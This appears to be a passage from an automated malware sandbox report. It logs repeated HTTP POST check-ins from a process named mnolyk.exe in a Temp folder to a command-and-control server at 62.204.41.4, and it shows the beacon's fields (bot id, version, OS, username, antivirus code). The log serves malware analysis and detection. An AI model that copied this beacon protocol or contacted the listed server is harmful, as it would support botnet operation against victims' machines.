Feb 6, 2023 14:19:03.888103962 CET	705	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:03.951908112 CET	706	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.2.5	50196	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:04.123384953 CET	706	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:04.188596964 CET	707	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	192.168.2.5	50197	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:04.369822979 CET	707	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:04.433660030 CET	708	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.2.5	50198	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:04.619859934 CET	708	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:04.683567047 CET	709	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	192.168.2.5	50199	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:04.853143930 CET	709	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:04.915909052 CET	710	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49741	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:53.261441946 CET	252	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:53.329667091 CET	252	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.2.5	50200	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:05.093128920 CET	710	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:05.158956051 CET	711	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	192.168.2.5	50201	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:05.341830969 CET	711	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:05.408659935 CET	712	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.2.5	50202	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:05.591073990 CET	712	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:05.656107903 CET	713	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	192.168.2.5	50203	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:05.828473091 CET	713	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:05.892863035 CET	714	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.2.5	50204	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:06.078376055 CET	714	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:06.144231081 CET	715	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.2.5	50205	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:06.323849916 CET	715	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:06.389614105 CET	716	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	192.168.2.5	50206	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:06.573237896 CET	716	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:06.638559103 CET	717	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.2.5	50207	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:06.819267988 CET	717	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:06.884358883 CET	718	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	192.168.2.5	50208	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:07.190881014 CET	718	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:07.259404898 CET	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	192.168.2.5	50209	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:07.475846052 CET	719	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:07.542187929 CET	720	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49742	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:53.631836891 CET	253	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:53.694607973 CET	253	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.2.5	50210	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:07.790071011 CET	720	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:07.856143951 CET	721	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	192.168.2.5	50211	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:08.508471012 CET	721	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:08.577630997 CET	722	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.2.5	50212	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:08.785161972 CET	722	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:08.850505114 CET	723	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	192.168.2.5	50213	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:10.017712116 CET	723	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:10.085311890 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.2.5	50214	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:10.427527905 CET	724	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:10.492854118 CET	724	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
